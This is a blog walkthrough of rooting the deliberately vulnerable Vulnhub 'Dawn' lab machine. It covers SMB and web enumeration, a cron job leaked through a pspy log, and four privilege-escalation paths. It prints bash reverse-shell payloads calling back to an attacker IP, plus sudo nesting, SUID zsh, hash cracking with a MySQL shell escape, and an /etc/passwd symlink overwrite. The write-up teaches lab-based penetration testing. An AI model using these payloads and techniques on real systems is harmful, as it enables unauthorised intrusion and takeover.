Post cover image

July 19, 2026

Vulnhub: Dawn Walkthrough

Anonymous SMB access, a leaked pspy64 log, and a cron job with predictable script names — four different ways to root this box.

By Farid Narimanov

5 min read

Enumeration

I ran a full port scan against the target:

nmap -sC -sV 192.168.1.12
None

The SMB scripts also fingerprinted the host:

None

SMB Enumeration

smbclient -L //192.168.1.12 -N
None

I connected to it anonymously:

smbclient //192.168.1.12/ITDEPT -N
None

Empty, but writable by an anonymous, unauthenticated user — worth keeping in mind.

Web Enumeration

Browsing to port 80 showed a placeholder "under construction" page, with a short note about the corporation's device and a to-do list mentioning camera feeds, personnel updates, and a control panel:

None

A directory brute-force turned up two interesting paths:

feroxbuster -u http://192.168.1.12
None

Browsing into /logs showed an open directory listing:

None

management.log turned out to be the output of a process monitor (pspy64) that root was running — and, critically, redirecting straight into the web root:

/bin/sh -c /root/pspy64 > /var/www/html/logs/management.log
None

Scrolling further down the log revealed the real prize — a recurring cron entry:

None

This was the core vulnerability of the box: root's own monitoring tool leaked a cron job to the world, and that cron job blindly restores 777 permissions on two predictably-named scripts before executing them as specific users — scripts that lived in a share I could write to anonymously. Whatever I placed under those two filenames would get run as www-data or dawn, once a minute, for free.

Initial Access & Privilege Escalation

Since web-control runs as www-data and product-control runs as dawn, I could get a shell as either user just by dropping a script into the share with the right filename. From there, four separate paths to root opened up.

Method 1 — Reverse Shell + Sudo Misconfiguration

I created a bash reverse shell payload named web-control:

nano web-control
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
None

Uploaded it via the SMB share:

smb: \> put web-control
None

Once the cron job picked it up and executed it, I caught a shell as www-data:

None

Checking sudo privileges revealed a critical misconfiguration:

sudo -l

Since www-data could run /usr/bin/sudo itself with no password, nesting the call was enough to get a full root shell:

sudo /usr/bin/sudo /bin/bash
None

The note left in flag.txt confirmed this box had multiple root paths — which is exactly what the rest of this writeup covers.

Method 2 — SUID Binary (/usr/bin/zsh)

Back on the initial www-data foothold, I checked for SUID binaries:

find / -perm -4000 2>/dev/null
ls -la /usr/bin/zsh

confirmed the SUID bit was set (-rwsr-xr-x root root). Since zsh doesn't drop privileges automatically, simply running it was enough:

/usr/bin/zsh
id
None

Method 3 — Cracking a Leaked Hash to Escalate via MySQL

Going back to the log file, I noted that product-control runs as dawn (uid 1000):

None

I created a second payload, this time pointed at a new listener port:

nano product-control
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.10/4445 0>&1
None

Uploaded via SMB:

None

The cron job executed it and I landed a shell as dawn:

sudo -l
None 
sudo mysql
None

Sudo let me run the mysql binary as root with no password, but MySQL's own root account had a separate password requirement. Checking bash history for leftovers:

cat .bash_history
None

I cracked the hash offline with hashcat:

hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
None

Using the cracked credential with the sudo-permitted mysql binary:

sudo mysql -u root -p
# Enter password: onii-chan29

Once inside the MariaDB console, I escaped to a system shell:

\! /bin/bash
None

Method 4 — Abusing the Cron chmod via a Symlink

The final method also traced back to the same cron job — root running chmod 777 on product-control every minute. As dawn, I deleted the existing script and replaced it with a symlink to /etc/passwd:

rm product-control
ln -s /etc/passwd /home/dawn/ITDEPT/product-control

Since chmod follows symlinks by default, the next time the cron job fired, root's chmod 777 landed on /etc/passwd itself:

None

I opened it directly:

nano /etc/passwd
None

My first attempt was to just delete the password character (x) from root's line and log in with an empty password:

That path was blocked, so instead I generated a proper hash for a password of my choosing on my attack machine:

openssl passwd -1 -salt ctf 123456
None

I pasted that hash into root's password field:

None

Then switched user with the new password:

su root
# Password: 123456
id
None

Thanks for reading. If you found this helpful, feel free to follow for more CTF writeups and penetration testing content.